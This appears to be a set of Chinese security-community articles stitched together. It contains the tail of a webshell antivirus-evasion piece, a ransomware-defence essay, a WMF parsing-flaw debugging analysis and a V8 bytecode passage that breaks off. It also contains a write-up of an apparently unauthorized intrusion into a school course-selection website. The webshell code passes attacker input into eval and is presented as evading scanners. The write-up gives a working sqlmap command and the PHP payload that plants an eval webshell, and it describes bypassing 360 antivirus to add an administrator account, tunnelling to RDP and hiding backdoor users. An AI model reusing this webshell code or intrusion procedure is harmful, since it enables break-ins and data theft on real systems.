$params=$arr[1];
class mexx{
public $a = '';
function mexx(){
eval("$this->a".'');
} }
$b = new mexx();
$b->a = $params;
echo $b->mexx();
?>
查杀结果
脚本正常连接
## 总结
从上述案例能看出来，想要免杀很简单，不需要花里胡哨的操作，只需要改变下结构或函数，不需要变形编码关键字也能实现免杀 | 社区文章 |
# 【技术分享】我为什么一直在买硬盘？这真的是勒索软件最后的补救办法吗？
|
##### 译文声明
本文是翻译文章，文章来源：唯品会安全应急响应中心VSRC
原文地址：[http://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=2652277525&idx=1&sn=573f3a4cd471f14c02bef5b611991cb2&chksm=f7486281c03feb975892e14367d47eb621b6adf7ec8396f736e937118fdc242892d4112fa322#rd](http://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=2652277525&idx=1&sn=573f3a4cd471f14c02bef5b611991cb2&chksm=f7486281c03feb975892e14367d47eb621b6adf7ec8396f736e937118fdc242892d4112fa322#rd)
译文仅供参考，具体内容表达以及含义原文为准。
**在计算机网络病毒日益严峻的今天，勒索软件和关键基础设施的信息安全建设依然是大中小企业所关注的焦点。**
那么，究竟什么是勒索软件？
勒索软件到底是如何影响我们的？
我们又应该如何来防范勒索软件？
今天的内容将从以下七个方面展开：
一、悲惨案例分析
二、唯品会相关安全防护经验分享
三、吐槽一下朋友
四、风险措施总结
五、最后的补救方法
六、一点感想
七、分享一个网站
**一、悲惨案例分析**
相信看完以下这则案例之后，应该会对勒索软件有一个大致的了解了。
这是一个悲惨的故事，在事件的最后，董事会在万般无奈之下只能向勒索软件低头，公司决定支付这笔高昂的“赎金”，以求自保。
那么这一切究竟是怎么发生的呢？让我们先回到下午5点的时候看看：
**17:00 P.M.**
中勒索软件之后，大部分的公司一开始都不会同意勒索者的要求，他们往往会尝试着自己破解或使用第三方软件进行破解，但最终，这些方法往往并不管用。并且非常不幸的是，面对当下流行的几大勒索软件时，大部分安全从业人员也往往束手无策。
根据勒索者要求，公司必须为每一台受影响的服务器每小时支付5000美元，而此刻公司正有上百台服务器受此勒索软件的影响！也就是说，每拖延1个小时，公司就需要向勒索者支付至少50万美元的赎金！并且如果没有解密秘钥，这些被勒索软件所影响的重要数据最后都将被摧毁！
让我们再往前些，看看董事会最开始接到此次事件报告的时候又会做什么呢？时间回到下午2点：
**14:00 P.M.**
此刻大家正在有条不紊的召开紧急会议，商讨处理方案。经过分析发现，这次遭受影响的核心用户有200TB之多！这其中包括：用户数据、财务报告、知识产权等。为了加速客户恐慌，勒索者还声称已将全部数据做备份处理！而此时，公司的安全人员仍在尝试猜测是否可以卸载、移除或者粉碎勒索软件。
并且通过分析还发现，这款勒索软件使用的是AES-128算法加密所有文件。这是什么概念呢？举个例子，在一万亿台，每秒可以尝试十亿个密钥的计算机上，要超过二十亿年才能破解出一个AES-128密钥！
这简直太不可思议了！那么让我们再往前看看，受害者究竟是如何中招的呢？
时间回到上午11点：
**11:00 A.M.**
上午11点，工作人员电脑屏幕提示电脑已中病毒！并且出现类似内容的告警不断提醒你，电脑上所有的数据已经被加密，并且不能被删除和移除，一旦尝试重启或卸载，你的数据将会被摧毁等等，瞬间，公司上下一阵恐慌。
然而这还不是根本原因，让我们来看下此次事件的最终导火索吧！时间回到早上9点：
**09:00 A.M.**
原来，在大约09:00的时候，攻击者先是入侵并登陆进了该公司的一台边缘服务器，但是由于边缘服务器与内网做了隔离，所以入侵者无法有更进一步的操作。与此同时，这台边缘服务器，虽然没有太多敏感信息，只是存储了一些员工的基本信息，例如门禁打卡时间，以及邮箱工号等等，但是对攻击者而言，这些信息足以被放大利用！通过仿造并稍作修改之后，攻击者已经完全模拟出了一封正常的员工邮件，于是又重新从外部，向全体员工发送大量的隐藏恶意链接的钓鱼邮件，进行广撒网，并守株待兔式的坐等上钩者即可！
在社会工程学领域，认为“人”是计算机信息安全工作链最脆弱的环节。在此次事件中我们也不难发现，正是由于员工点击了邮件内不受信任的链接，才最终导致悲剧的发生！
所以总结起来，除了常规的硬件防护，员工们日常工作要严格遵守以下2点：
1、不要点击不受信任的未知链接
2、不要打开EMAIL内未知的附件
**二、唯品会相关安全防护经验分享**
目前关于勒索软件的主要入口还是通过邮件为主。
唯品会相关安全团队负责人说的：“中了勒索病毒的肯定有，只要不是通过主动去下载病毒运行或U盘等外设拷贝进来的，基本不会中招。开发也有些安全意识不强的，也有去运行的”。
**三、吐槽一下朋友**
这里，联想到前几天我身边一个朋友中了Zepto敲诈者病毒，中病毒之后看到的界面大致就是这样：
最终这朋友只能选择放弃硬盘（是的，确实有点心疼他那块容量很大的硬盘）。
我身边还有一个朋友，他从来只在虚拟机里面打开邮件附件，听起来虽然麻烦了点，但是作为一个安全研究人员，这种安全意识还是要多多提倡的，不是么？
**四、风险措施总结**
最后，说了那么多，那么到底怎么样才能真正降低勒索软件的风险？
事实上，若要防止攻击者通过网络钓鱼或社交工程获得初始访问确实比较困难，但是，具体的可以采取下述措施来缓解相关风险：
1、建立一个公司管制的文件共享程序，组织的用户和/或公司合作伙伴之间可以通过该程序交换文件；
2、通知用户不必经常使用启用宏的 office 文档，甚至永远不要启用宏；
3、有些网络钓鱼攻击是通过传送 PDF 文件来进行的，可以考虑使用其他 PDF 阅读器并禁用额外的功能（例如 PDF 上的 JavaScript）；
4、确保邮件扫描网关禁止发送和接收可执行文件（exe、dll、cpl、scr）、带有宏的JavaScript（.js文件）office 文档，以及扫描
.zip 文件的内容；
5、对 SPF 记录进行检查/验证，以减少欺骗性电子邮件；（这里的SPF不是防晒指数哦，而是指Sender Policy Framework）
6、将动态DNS 和 gTLD 默认为黑名单，并且只有在特定业务确有需要的情况下，将单个域根据需要加入白名单；
7、增加提示，提示用户即便信任也要进行验证，必要时刻建议电话确认；
8、不定期的通知用户，IT 和/或安全部门从不会要求其提供他们的密码，从而降低网络钓鱼攻击的有效性，他们在攻击的时候会尝试收集用户的凭证；
9、禁止安装USB 驱动器；
10、确保访客在前台进行登记、签名，并始终对其进行跟踪监控；
11、禁止未获授权的个人跟随已获授权的个人进入限制区；
**五、最后的补救办法**
如果攻击者突破了我们精心构造的初始防御，我们该如何缓解进一步的损失？
以下几个方法可供参考：
1、配置VLAN和子网分段，并在网段间配置适当的策略；
2、使用专用防火墙/网关分段；
3、配置入口/出口过滤的主机型防火墙；
4、在应用程序管制/白名单；
5、基于角色的网络共享权限（最小权限）；
6、适当的凭证管理；
那么有没有最终的补救措施？
面对攻击者的赎金勒索，备份恢复将是我们最后一道防线！
在最坏的情况下，也将是我们最后的堡垒。所以平时需要养成定期备份数据的习惯。
**六、一点感想**
在过去几年里，全球范围内勒索软件变体及其部署呈明显的上涨趋势，插入式设备和安全解决方案只能在其力所能及的的范围内保护网络。
而如果人们没有从内心重视起来，未对网络的构建和扩展建立深度防御，那么在防止威胁方面，再多的防护手段，其作用也将变得极为有限！
**七、分享一个网站**
<http://krebsonsecurity.com/>
分享一个勒索软件自校验网站，有兴趣的朋友可以看下~
**参考资料**
<https://en.wikipedia.org/wiki/Ransomware> | 社区文章 |
原文：<https://www.pentestpartners.com/security-blog/time-travel-debugging-finding-windows-gdi-flaws/>
**简介**
* * *
2018年10月，Microsoft公布了49个安全漏洞的补丁程序。在这些漏洞中，既有内核级权限提升漏洞，也有可能导致远程代码执行的漏洞，例如MSXML。在这篇文章中，我们将对一个WMF越界读取漏洞进行深入分析，并尝试确定其可利用性。
这个安全漏洞是我们提交给微软的，目前已经得到了修复，对应漏洞编号为[CVE-2018-8472](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8472 "CVE-2018-8472")。该漏洞的分析过程是在Windows
10 x64上进行的，使用的是测试套件是32位的。
Markus Gaasedelen在Timeless Debugging of Complex
Software一文中，使用工具是Mozilla的[rr](https://blog.ret2.io/2018/06/19/pwn2own-2018-root-cause-analysis/ "rr")，与此类似，在本文中我们将使用Windows Debugger
Preview的时空旅行调试（[TTD](https://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-186-Time-Travel-Debugging-Advanced "TTD")）功能来分析复杂漏洞的根本原因。
借助于时空旅行调试技术，我们可以通过前进和回滚的方式来跟踪和分析漏洞，这样的话，我们不仅能够找出导致代码崩溃的所有用户输入，同时，还能深入了解漏洞本身的相关情况。虽然之前已经对EMF文件格式进行了[研究](https://j00ru.vexillium.org/slides/2016/metafiles_full.pdf
"研究")，但是通过使用winafl对WMF文件进行[模糊测试](https://github.com/ivanfratric/winafl
"模糊测试")，同样也能挖掘出相应的漏洞。使用特制的WMF文件调用gdiplus!GpImage::LoadImageW函数将引发崩溃：
(388.1928): Access violation - code c0000005 (!!! second chance !!!)
eax=00000012 ebx=00000000 ecx=00000001 edx=d0d0d0d0 esi=08632000 edi=086241c0
eip=74270b37 esp=00eff124 ebp=00eff14c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ucrtbase!memcpy+0x507:
74270b37 8b16 mov edx,dword ptr [esi] ds:002b:08632000=????????
从上面可以看出，当我们试图复制esi (08632000)
所指向的内存内容，并将其移动到edx寄存器时，崩溃发生了。就这里来说，esi所指向的好像是一个未映射的内存地址：
0:000> dc esi L10
08632000 ???????? ???????? ???????? ???????? ????????????????
08632010 ???????? ???????? ???????? ???????? ????????????????
08632020 ???????? ???????? ???????? ???????? ????????????????
08632030 ???????? ???????? ???????? ???????? ????????????????
图1：运行精心制作的WMF文件时执行的指令。
下一步是查看堆栈跟踪数据，从而了解我们是如何终止这个memcpy函数的：
0:000> kv
# ChildEBP RetAddr Args to Child
00 00eff128 76d6e086 08624154 08631f94 00000072 ucrtbase!memcpy+0x507 (FPO: [3,0,2])
01 00eff14c 76d6dfd9 00000051 08621d20 00000000 gdi32full!MRBDIB::vInit+0x7d (FPO: [Non-Fpo])
02 00eff200 76d6da5f ffffff00 00001400 00001400 gdi32full!MF_AnyDIBits+0x167 (FPO: [Non-Fpo])
03 00eff334 74743ca3 75211255 00000000 ffffff00 gdi32full!StretchDIBitsImpl+0xef (FPO: [Non-Fpo])
04 00eff374 76da86ec 75211255 00000000 ffffff00 GDI32!StretchDIBits+0x43 (FPO: [Non-Fpo])
05 00eff494 76d69164 75211255 0862dff0 0861be96 gdi32full!PlayMetaFileRecord+0x3f3ec
06 00eff544 76d9749d 00000000 00000000 00eff568 gdi32full!CommonEnumMetaFile+0x3a5 (FPO: [Non-Fpo])
07 00eff554 74745072 75211255 d0261074 0049414e gdi32full!PlayMetaFile+0x1d (FPO: [Non-Fpo])
08 00eff568 71ac9eb1 75211255 d0261074 d0261074 GDI32!PlayMetaFileStub+0x22 (FPO: [Non-Fpo])
09 00eff5fc 71ac9980 09c39e18 000001e4 00000000 gdiplus!GetEmfFromWmfData+0x4f5 (FPO: [Non-Fpo])
0a 00eff624 71a9bd6a 09c33f3c 09c33fd0 00000000 gdiplus!GetEmfFromWmf+0x69 (FPO: [Non-Fpo])
0b 00eff770 71a8030c 09c33f3c 09c33fd0 00eff794 gdiplus!GetHeaderAndMetafile+0x1b970
0c 00eff79c 71a690f4 09c37fc8 00000001 71b59ec4 gdiplus!GpMetafile::InitStream+0x4c (FPO: [Non-Fpo])
0d 00eff7c0 71a77280 085a3fd0 00000000 09c31ff0 gdiplus!GpMetafile::GpMetafile+0xc2 (FPO: [Non-Fpo])
0e 00eff7e4 71a771e1 09c31ff0 00000000 0859cfeb gdiplus!GpImage::LoadImageW+0x36 (FPO: [Non-Fpo])
0f 00eff800 00311107 085a3fd0 09c31ff4 085a3fd0 gdiplus!GdipLoadImageFromFile+0x51 (FPO: [Non-Fpo])
--- redacted ---
有趣的是，我们可以看到memcpy是从MRBDIB::vInit()函数中调用的，而MRBDIB::vInit()函数又是从StretchDIBits、PlayMetaFileRecord、CommonEnumMetaFile和其他一些函数中调用的。
此外，让我们看看esi寄存器的值，以及为其分配的内存量：
0:000> !heap -p -a esi
address 08632000 found in
_DPH_HEAP_ROOT @ 5781000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
a2b0a90: 8631f78 84 - 8631000 2000
unknown!noop
6afca8d0 verifier!AVrfDebugPageHeapAllocate+0x00000240
773b4b16 ntdll!RtlDebugAllocateHeap+0x0000003c
7730e3e6 ntdll!RtlpAllocateHeap+0x000000f6
7730cfb7 ntdll!RtlpAllocateHeapInternal+0x000002b7
7730ccee ntdll!RtlAllocateHeap+0x0000003e
76af9f10 KERNELBASE!LocalAlloc+0x00000080
76da8806 gdi32full!PlayMetaFileRecord+0x0003f506
== redacted ==
我们可以看到，为其分配的内存空间为0x84字节，我们将在稍后进行精确定位，并确定该值的来源。
**崩溃代码最小化与Windbg TTD功能简介**
* * *
WMF是一种非常复杂的文件格式（并且现已弃用），所以，这里要将测试用例最小化！
在这个过程中，我们可以借助于[Axel Souchet](https://twitter.com/0vercl0k "Axel Souchet")的afl-tmin工具，它带有winafl工具。我们可以通过以下命令来最小化crasher：
afl-tmin.exe -D C:\DRIO\bin32 -i C:\Users\symeon\Desktop\GDI\crasher_84.wmf -o C:\Users\symeon\Desktop\GDI\crasher_MIN.wmf -- -covtype edge -coverage_module GDI32.dll -target_method fuzzit -nargs 2 -- C:\Users\symeon\Desktop\GDI\GdiRefactor.exe @@
图2：最小化原始崩溃文件。
比较原始测试用例和最小化测试用例之间的差异，我们可以发现，最小化后的用例用起来更为顺手。大家要注意观察该工具是如何将我们不感兴趣的字节改为空字节（0x30），从而仅保留导致崩溃的关键字节的！这样就能够有效地帮助我们确定用户可以控制哪些字节，以及修改它们的方法，这些方面的内容，我们将在后面详细加以阐述。
图3：原始测试用例和最小化后的测试用例之间的比对。
通过最小化的测试用例，可以启动Windbg Preview并记录跟踪信息。为了记录跟踪信息，Windbg
Preview需要用到管理员权限。为此，可以在使用Windbg运行时，选择File-> Start Debugging-> Launch
Executable Advance，并确保启用“Record process with Time Travel Debugging”功能。
图4：Windg Preview捕获的新跟踪信息
使用测试套件（harness）和crasher启动跟踪，并继续执行，之后会看到：
图5：使用crasher启动测试套件（harness）时将导致memcpy崩溃
如果读者还没有看过微软的相关视频介绍的话，我们强烈建议您花点时间先看一遍。这里，我们只做简单介绍：
g-和!tt 00将让我们回滚到跟踪的初始状态（其中，后者使用的是百分比格式，例如!tt 50表示回滚到跟踪的中间时刻）。
p-用于回滚一个命令，可以与p-10结合使用，这样就能回滚n个命令了。
时空旅行最棒的地方在于，一旦启用了跟踪记录功能，所有内存/堆分配/偏移信息都会保留下来。这样一来，我们就可以迅速考察函数的参数以及指向我们感兴趣数据的内存地址了。
**确定漏洞的根本原因**
* * *
让我们再次输出堆栈的跟踪数据，这里将从跟踪数据的底部开始，检查与每条跟踪数据相关的函数调用，并输出其参数。
0:000> kv 6
# ChildEBP RetAddr Args to Child
00 0078f260 757ee086 19a17108 19a3af94 00000072 ucrtbase!memcpy+0x507 (FPO: [3,0,2])
01 0078f284 757edfd9 00000051 19a14d20 00003030 gdi32full!MRBDIB::vInit+0x7d (FPO: [Non-Fpo])
02 0078f338 757eda5f 00003030 00003030 00003030 gdi32full!MF_AnyDIBits+0x167 (FPO: [Non-Fpo])
03 0078f46c 76e13ca3 9f211284 00003030 00003030 gdi32full!StretchDIBitsImpl+0xef (FPO: [Non-Fpo])
04 0078f4ac 758286ec 9f211284 00003030 00003030 GDI32!StretchDIBits+0x43 (FPO: [Non-Fpo])
05 0078f5cc 757e9164 9f211284 19a2cf38 19a0cee6 gdi32full!PlayMetaFileRecord+0x3f3ec
首先，让我们看看PlayMetaFileRecord的调用位置。
现在，让我们借助windbg的时空旅行调试（TTD）功能，带我们回到过去！
为此，一种方法是使用以下LINQ查询，并输出在跟踪过程中PlayMetaFileRecord的所有TTD调用：
0:000> dx -r1 @$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")
图6：跟踪PlayMetaFileRecord的调用位置
太棒了，上面的查询总共找到了三个调用。点击最后一个输出结果，即选中最后一个调用，将得到以下信息：
0:000> dx -r1 @$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")[2]
@$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")[2]
EventType : Call
ThreadId : 0x1c3c
UniqueThreadId : 0x2
TimeStart : 2113:3DB [Time Travel]
TimeEnd : 2113:34C [Time Travel]
Function : UnknownOrMissingSymbols
FunctionAddress : 0x757e9300
ReturnAddress : 0x757e9164
ReturnValue : 0x3000000000
Parameters
再次单击TimeStart属性中的Time Travel，我们将穿越到该调用发生的时刻（图4）：
0:000> dx @$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")[2].TimeStart.SeekTo()
Setting position: 2113:3DB
@$cursession.TTD.Calls("gdi32full!PlayMetaFileRecord")[2].TimeStart.SeekTo()
(1fc0.1c3c): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 2113:3DB
eax=19a0cee6 ebx=00000000 ecx=19a10f10 edx=00000084 esi=00000000 edi=9f211284
eip=757e9300 esp=0078f5d0 ebp=0078f67c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
gdi32full!PlayMetaFileRecord:
757e9300 8bff mov edi,edi
输入p-命令，回滚一步，回到该调用被执行前那一刻的状态，以便查看相关的参数：
0:000> p- Time Travel Position: 2113:3DA
eax=19a0cee6 ebx=00000000 ecx=19a10f10 edx=00000084 esi=00000000 edi=9f211284
eip=757e915f esp=0078f5d4 ebp=0078f67c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
gdi32full!CommonEnumMetaFile+0x3a0:
757e915f e89c010000 call gdi32full!PlayMetaFileRecord (757e9300)
另一种方法是使用Unassemble backwards命令（使用前面堆栈跟踪#05中的返回地址）（见图3）：
0:000> ub 757e9164
gdi32full!CommonEnumMetaFile+0x38f:
757e914e 1485 adc al,85h
757e9150 db0f fisttp dword ptr [edi]
757e9152 853de80300ff test dword ptr ds:[0FF0003E8h],edi
757e9158 75cc jne gdi32full!CommonEnumMetaFile+0x367 (757e9126)
757e915a 50 push eax
757e915b ff75c4 push dword ptr [ebp-3Ch]
757e915e 57 push edi
757e915f e89c010000 call gdi32full!PlayMetaFileRecord (757e9300)
然后使用g-命令从当前故障位置再次返回：
0:000> g- 757e915f
Time Travel Position: 2113:3DA
eax=19a0cee6 ebx=00000000 ecx=19a10f10 edx=00000084 esi=00000000 edi=9f211284
eip=757e915f esp=0078f5d4 ebp=0078f67c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
gdi32full!CommonEnumMetaFile+0x3a0:
757e915f e89c010000 call gdi32full!PlayMetaFileRecord (757e9300)
查看Microsoft的文档，可以发现关于PlayMetaFileRecord函数的如下介绍：
“PlayMetaFileRecord函数能够通过执行该记录中包含的图形设备接口（GDI）函数来播放Windows格式的元文件记录。”
图7：GDI32 PlayMetaFileRecord API文档。
下一步是在进入函数之前，输出并检查参数：
图8：转储PlayMetaFileRecord参数对应的内存内容。
请注意，LPMETARECORD看起来很眼熟，事实上，如果我们使用十六进制编辑器打开crasher的话，我们将看到以下内容：
图9：WMF文件中big-endian格式的LPMETARECORD
下面，让我们来考察StretchDIBits函数：
0:000> ub 758286ec
gdi32full!PlayMetaFileRecord+0x3f3d3:
758286d3 0fbf4316 movsx eax,word ptr [ebx+16h]
758286d7 50 push eax
758286d8 0fbf4318 movsx eax,word ptr [ebx+18h]
758286dc 50 push eax
758286dd 0fbf431a movsx eax,word ptr [ebx+1Ah]
758286e1 50 push eax
758286e2 ff742444 push dword ptr [esp+44h]
758286e6 ff1588d08975 call dword ptr [gdi32full!_imp__StretchDIBits (7589d088)]
让我们再来看一下StretchDIBits函数：
图10：StretchDIBits函数
该函数需要总共13个参数，让我们具体看一下：
0:000> g 758286e6
ModLoad: 73610000 73689000 C:\WINDOWS\system32\uxtheme.dll
Time Travel Position: 2152:264
eax=00003030 ebx=19a3af78 ecx=30303030 edx=19a3af94 esi=19a3af94 edi=19a3affa
eip=758286e6 esp=0078f4b4 ebp=0078f5cc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
gdi32full!PlayMetaFileRecord+0x3f3e6:
758286e6 ff1588d08975 call dword ptr [gdi32full!_imp__StretchDIBits (7589d088)] ds:002b:7589d088={GDI32!StretchDIBits (76e13c60)}
And printing again the parameters right before the call:
0:000> dds esp LD
0078f4b4 9f211284 <== hdc
0078f4b8 00003030 <== xDest
0078f4bc 00003030 <== yDest
0078f4c0 00003030 <== DestWidth
0078f4c4 00003030 <== DestHeight
0078f4c8 00003030 <== xSrc
0078f4cc 00003030 <== ySrc
0078f4d0 00003030 <== SrcWidth
0078f4d4 00003030 <== SrcHeight
0078f4d8 19a3affa <== *lpBits
0078f4dc 19a3af94 <== *lpbmi
0078f4e0 00000001 <== iUsage
0078f4e4 30303030 <== rop
在所有这些值中，我们对*lpbmi的值特别感兴趣，因为它是指向BITMAPINFO结构的指针。
BITMAPINFO结构定义如下所示 bitmapinfoheader：
bmiHeader也是BITMAPINFOHEADER结构的成员，其中包含有关DIB的尺寸和颜色格式方面的信息。
BITMAPINFOHEADER结构定义如下：
图11：BITMAPINFOHEADER结构。
我们来看看lpbmi对应的内存内容：
0:000> dc 19a3af94
19a3af94 00000066 30303030 30303030 00200000 f...00000000.. .
19a3afa4 00000003 30303030 30303030 30303030 ....000000000000
19a3afb4 00000000 30303030 30303030 30303030 ....000000000000
19a3afc4 30303030 30303030 30303030 30303030 0000000000000000
19a3afd4 30303030 30303030 30303030 30303030 0000000000000000
19a3afe4 30303030 30303030 30303030 30303030 0000000000000000
19a3aff4 30303030 30303030 d0d0d0d0 ???????? 00000000....????
19a3b004 ???????? ???????? ???????? ???????? ????????????????
**小结**
* * *
在本文中，我们为读者详细介绍了Windbg
TTD的功能，以及如何利用该功能确定安全漏洞的根源所在，在下一篇文章中，我们将继续为读者奉献更多精彩内容，敬请期待。 | 社区文章 |
# 前言
之前对渗透这方面的学习一直只是学到了Getshell为止，但是其实渗透可以说Getshell仅仅是一个开端，接下去的还有远程连接，域渗透等领域，这次刚好渗透到了某网站，决定以该网站为例，看看能不能进行一次相对完整的渗透历程
# SQL注入
该网站是某校某选课网站，首先先用扫描器扫描一下网站，运气很好，居然扫出了一个注入，一看，原来是个宽字节注入
简单测了一下，发现并没有什么过滤，那就常规操作，用SQLmap跑一下
python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes
接下来便是爆库，爆表，爆列，爆值等常规操作。
获取Admin表中的账号密码，虽说密码是md5加密的了，但是去cmd5平台上一查，还是很方便的进入了后台
# Getshell
接下来便是寻求Getshell的机会了
注意到这里有个上传文件的地方，从源码中可以看到是Fckeditor编辑器
从网上搜索相关的漏洞，首先先查看版本
发现是2.6.6版本的，遗憾的是只能找到2.6.6asp版本的洞，PHP版本的并不能找到相关的漏洞，而用了几个EXP去试试运气也都碰壁了，渗透本来到此就受阻
但是突然发现还有一个上传学生名单的接口
测试了一下，只有一个简单的前端认证，并且用burpsuite一看，还有了惊喜的发现
文件不仅上传成功了，并且还返回了相应的路径，当下便想到来连shell了，但当我想来连之时，却发现文件被删了，由文件路径里面有个temp，一下子就想到后端肯定写了一个自动清空temp目录的函数，但是解决思路也是很明确的，就是条件竞争嘛，通过多线程发包的方法，来实现一定时间内的文件访问
这里我将要发包的文件改为:
<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>
只要我们能访问到它一次，这个程序就会自动在父目录里面写入一个shell，也就实现了跳出temp目录的写shell了。
用burpsuite的intruder模块不断发包，再访问我们上传的文件，便实现了成功写shell的目的，如图，Getshell:
# 系统信息搜集
`systeminfo`查看系统相关信息
`netstat -ano`查看开放的端口
可以看到3389端口是打开的，也就是可以进行远程连接
`whoami`查看当前用户
## 远程连接
可以看到是system权限，本来我以为大功告成，接下来就是创建管理员用户，进行远程连接之时，但是发现无论如何都无法把用户添加进管理员组
在网上查了很多资料，有人说是可能有杀毒软件。`tasklist`一看，果然有360
那么问题到这里就只有三条路了:
**1.** 杀掉360，看看能不能利用system的高权限杀掉360
**2.** 得到其他管理员账户的密码或者密码的hash值，利用其他管理员的账户进行登录
**2.** 绕过360创建一个管理员账号
我对这三种情况都进行了尝试:
* 方法1:我尝试利用taskkill来杀掉360的进程，但是始终报错，网上的资料五花八门，有的说system权限可以用taskkill来关闭360，也有的说360的主动防御进程(ZhuDongFangYu.exe)是在系统Ring0层，即使system权限也无法用taskkill来关掉，至少在这次渗透中，我渗透的机器，是没办法直接用taskkill来关掉360进程的，包括网上所讲的`sc delete`方法在这台机子上也是行不通的(会被拦截)，至少现在看起来这条路堵死了
* 方法2:当我上传Quarks PwDump.exe和各种软件时，无一例外都会被360拦截，看起来这条路也堵死了
* 方法3:方法3就是我们最后的希望了，从网上看到资料说system权限下可以用Windows API的方法来创建管理员账户，而这种方法360不会拦截，具体可以参见这篇文章:
[【编程】创建用户，并添加至管理组](https://rcoil.me/2018/11/%E3%80%90%E7%BC%96%E7%A8%8B%E3%80%91%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7%EF%BC%8C%E5%B9%B6%E6%B7%BB%E5%8A%A0%E8%87%B3%E7%AE%A1%E7%90%86%E7%BB%84/)
但是比较蛋疼的一点是我电脑没有VS，编译不了这个文件，而宿友也都没有一个人安装的(毕竟他实在是太大了)
好在我在github上找到了一个别人编译好的版本
<https://github.com/cckuailong/netuser>
运行了一下，成功添加用户
那么就只剩最后一步了，进行远程连接，但是当我想直接连接的时候，发现居然连不上，用nmap扫了一下端口，发现3389没有开启，但是上面的`netstat
-ano`显示3389是有开启的，那就只能说明3389端口是开在内网的，我们得进行一下内网穿透，把流量转发出来，使用reGeorg进行内网穿透。
将tunnel.nosocket.php上传至web目录(这里不能上传tunnel.php，php<5.3不能正常使用tunnel.php)
访问目标文件:
说明配置正常，关于reGeorg的使用可以去看这几篇文章
[内网渗透--reGeorg+Proxifier](https://www.freebuf.com/column/206524.html)
[绕过360创建用户登陆内网3389实战记录](https://blog.csdn.net/m0_51803069/article/details/109907162)
最后，我们就能成功的使用远程连接了，上了远程连接后，首先退出360所有防护，为接下来的进一步渗透做准备
在这里，还看到了天师的一篇文章，记载了如何隐藏添加的后门，获益匪浅
[windows渗透中后门用户的添加方法探究](https://www.k0rz3n.com/2018/06/26/windows%E6%B8%97%E9%80%8F%E4%B8%AD%E5%90%8E%E9%97%A8%E7%94%A8%E6%88%B7%E6%B7%BB%E5%8A%A0%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/)
这次的渗透就先到这里，接下来的域渗透，就等以后有时间再来学习和钻研了。
# 写在后面
这是我第一次进行后Getshell的渗透，写的可能很啰嗦并且很LOW，但是主要目的还是想让我自己记住这一此渗透学习到的知识，等以后有时间了再来继续进行下一步的域渗透
# 参考文章
[一次windows2008的提权过程](https://www.freebuf.com/articles/web/10280.html)
[Windows服务器SYSTEM权限Webshell无法添加3389账户情况突破总结](https://www.cnblogs.com/dongchi/p/4480192.html)
[Windows渗透基础大全](https://www.anquanke.com/post/id/236522#h3-20)
[内网渗透初识—信息收集](https://xz.aliyun.com/t/7663#toc)
[【编程】创建用户，并添加至管理组](https://rcoil.me/2018/11/%E3%80%90%E7%BC%96%E7%A8%8B%E3%80%91%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7%EF%BC%8C%E5%B9%B6%E6%B7%BB%E5%8A%A0%E8%87%B3%E7%AE%A1%E7%90%86%E7%BB%84/)
[绕过360创建用户登陆内网3389实战记录](https://blog.csdn.net/m0_51803069/article/details/109907162)
[windows渗透中后门用户的添加方法探究](https://www.k0rz3n.com/2018/06/26/windows%E6%B8%97%E9%80%8F%E4%B8%AD%E5%90%8E%E9%97%A8%E7%94%A8%E6%88%B7%E6%B7%BB%E5%8A%A0%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/)
[Windows提权建立Administrator的影子账户](https://www.k2zone.cn/?p=642) | 社区文章 |
# 《Chrome V8原理》22.编译链3：Bytecode的秘密——常量池
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
本篇是编译链专题的第三篇，详细讲解AST到字节码的转换过程。本文组织方式：字节码生成（章节2）；延期常量池（章节3）；编译收尾工作（章节4）。
## 2.字节码生成
把AST树翻译成字节码，入口函数源码如下：
1. MaybeHandle<SharedFunctionInfo> GenerateUnoptimizedCodeForToplevel(
2. Isolate* isolate, ParseInfo* parse_info, AccountingAllocator* allocator,
3. IsCompiledScope* is_compiled_scope) {
4. //省略............
5. while (!functions_to_compile.empty()) {
6. //省略............
7. if (job->ExecuteJob() == CompilationJob::FAILED ||
8. FinalizeUnoptimizedCompilationJob(job.get(), shared_info, isolate) ==
9. CompilationJob::FAILED) {
10. return MaybeHandle<SharedFunctionInfo>();
11. }
12. if (FLAG_stress_lazy_source_positions) {
13. SharedFunctionInfo::EnsureSourcePositionsAvailable(isolate, shared_info);
14. }
15. if (shared_info.is_identical_to(top_level)) {
16. *is_compiled_scope = shared_info->is_compiled_scope();
17. DCHECK(is_compiled_scope->is_compiled());
18. }
19. }
20. parse_info->ResetCharacterStream();
21. return top_level;
22. }
上面第7行代码`job->ExecuteJob()`的作用是生成字节码，它与AST一样以函数为单位生成字节码，最终进入下面的源码：
1. void BytecodeGenerator::GenerateBytecodeBody() {
2. VisitArgumentsObject(closure_scope()->arguments());
3. VisitNewTargetVariable(closure_scope()->new_target_var());
4. FunctionLiteral* literal = info()->literal();
5. if (IsResumableFunction(literal->kind())) {
